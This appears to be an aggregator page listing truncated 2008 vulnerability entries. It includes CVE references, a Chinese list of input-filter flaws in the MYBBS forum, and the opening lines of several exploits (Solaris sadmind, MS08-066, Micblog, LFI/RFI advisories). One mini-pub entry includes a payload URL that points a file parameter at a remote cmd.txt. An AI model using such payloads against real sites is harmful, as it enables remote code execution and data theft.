MYBBS系统存在漏洞

1.用户注册功能页面没有针对无用户名注册的过滤用户注册功能页面没有针对用户名的长度的过滤用户注册功能页面没有针对无密码用户的过滤用户注册功能页面没有针对用户签名以及个人介绍的字数限制用户注册功能页面没有针对用户头像大小以及规格的限制 2.论坛版面最新回复所调用字数的限制论坛版面发表新文章的主题字数限制论坛版面发表新文章内容部分的字数限制论坛版面发表新文章针对JS的过滤 3.论坛短信功能页面没有针对发表人以及回复人的限制论坛短信功能页面对于JS恶意代码的过滤（JS代码嵌入漏洞论坛短信功能页面没有针对发表后页面的时间限制（可以导致无限制短信DOS...

CVE-2008-6789

creationtimestamp| type| source ---|---|--- 2008-10-23 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/6819 2008-10-23 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/6820...

CVE-2008-7267

creationtimestamp| type| source ---|---|--- 2008-10-23 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/32524 2008-10-23 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/6823...

Osprey 1.0a4.1 - ListRecords.php Multiple Remote File Inclusions

Osprey 1.0a4.1 - ListRecords.php Multiple Remote File Inclusions source: https://www.securityfocus.com/bid/31883/info Osprey is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues could allow an attacker to...

CVE-2008-4652

creationtimestamp| type| source ---|---|--- 2008-10-20 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/6793 2008-10-26 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/6840...

Solaris 9 (UltraSPARC) - sadmind Remote Code Execution

Solaris 9 UltraSPARC - sadmind Remote Code Execution !/usr/bin/perl holygrail2 --------------------------------------------------------------------------------- SunOS 5.9 UltraSPARC sadmind Remote Root Exploit by KingCope in 2008 Most of work was shamelessy ripped from HD-Moore and RISE-Security...

Microsoft Windows AFD Exploits(ms08-066)

No description provided by source. include stdio.h include winsock2.h include windows.h pragma commentlib, "ws232.lib" define NTSTATUS int typedef struct PROCESSBASICINFORMATION NTSTATUS ExitStatus; PVOID PebBaseAddress; ULONG AffinityMask; ULONG BasePriority; ULONG UniqueProcessId; ULONG...

CVE-2008-6178

creationtimestamp| type| source ---|---|--- 2008-10-18 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/6783 2009-02-16 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/8060...

micblog-sql.txt

!/usr/bin/php -q ?php errorreporting0; iniset"defaultsockettimeout",5; / Micblog v0.0.3 Multiple Remote Exploit ------------------------------------------------------------- Discovered By StAkeR aka athos - StAkeRathotmaildotit Discovered On 16/10/2008...

CVE-2008-4728

creationtimestamp| type| source ---|---|--- 2008-10-17 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/6773 2008-10-17 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/6776 2008-10-17 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/6774...

MS08-062: Microsoft IIS IPP Service Unspecified Remote Overflow (953155)

The remote host contains a version of Windows that is vulnerable to a security flaw that could allow a remote user to execute arbitrary code on the remote host via an integer overflow in the internet printing service. Tenable Network Security, Inc. include"compat.inc"; if description scriptid3440...

mini-pub 0.3 - File Disclosure Code Execution

mini-pub 0.3 - File Disclosure Code Execution mini-pub 0.3 multiple vulnerabilities download http://sourceforge.net/projects/mini-pub/ author muuratsalo contact muuratsaloatgmail.com exploits 1. local file disclosure http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.tx...

mini-pub 0.3 - File Disclosure / Code Execution

mini-pub 0.3 multiple vulnerabilities download http://sourceforge.net/projects/mini-pub/ author muuratsalo contact muuratsaloatgmail.com exploits 1. local file disclosure http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt? 2. local file disclosure...

Motorola Timbuktu's Internet Locator Service real-time data exposed to public.

We just want to make a public warning to those users of Motorola/Netopia Timbuktu Remote Control Software who are using the Internet Locator service. This service allows to locate any Timbuktu's user just by knowing the email. More than five months ago we notified Netopia's customer support...

CVE-2008-5663

creationtimestamp| type| source ---|---|--- 2008-10-09 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/6706 2008-10-09 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/6711...

Scriptsez Mini Hosting Panel - members.php Local File Inclusion

Scriptsez Mini Hosting Panel - members.php Local File Inclusion ScriptsEz Mini Hosting Panel members.php Local File Inclusion Vulnerability url: http://www.scriptsez.net/ Author: JosS mail: sys-projectathotmaildotcom site: http://spanish-hackers.com team: Spanish Hackers Team - SHT This was writt...

ScriptsEz Mini Hosting Panel (members.php) LFI Vulnerability

No description provided by source. ScriptsEz Mini Hosting Panel members.php Local File Inclusion Vulnerability url: http://www.scriptsez.net/ Author: JosS mail: sys-projectathotmaildotcom site: http://spanish-hackers.com team: Spanish Hackers Team - SHT This was written for educational purpose. U...

CUPS 1.3.7 - HP-GL2 Filter Remote Code Execution

CUPS 1.3.7 - HP-GL2 Filter Remote Code Execution source: https://www.securityfocus.com/bid/31688/info CUPS is prone to a remote code-execution vulnerability caused by an error in the 'HP-GL/2 filter. Attackers can exploit this issue to execute arbitrary code within the context of the affected...

Scriptsez Mini Hosting Panel - 'members.php' Local File Inclusion

ScriptsEz Mini Hosting Panel members.php Local File Inclusion Vulnerability url: http://www.scriptsez.net/ Author: JosS mail: sys-projectathotmaildotcom site: http://spanish-hackers.com team: Spanish Hackers Team - SHT This was written for educational purpose. Use it at your own risk. Author will...

DFF PHP Framework API - Data Feed File Remote File Inclusion

DFF PHP Framework API - Data Feed File Remote File Inclusion DFF PHP Framework API Data Feed File Multiple Inclusion Vulnerabilities Script :http://opensource.datafeedfile.com/download/DFFPHPFrameworkAPI-latest.zip Exploits :...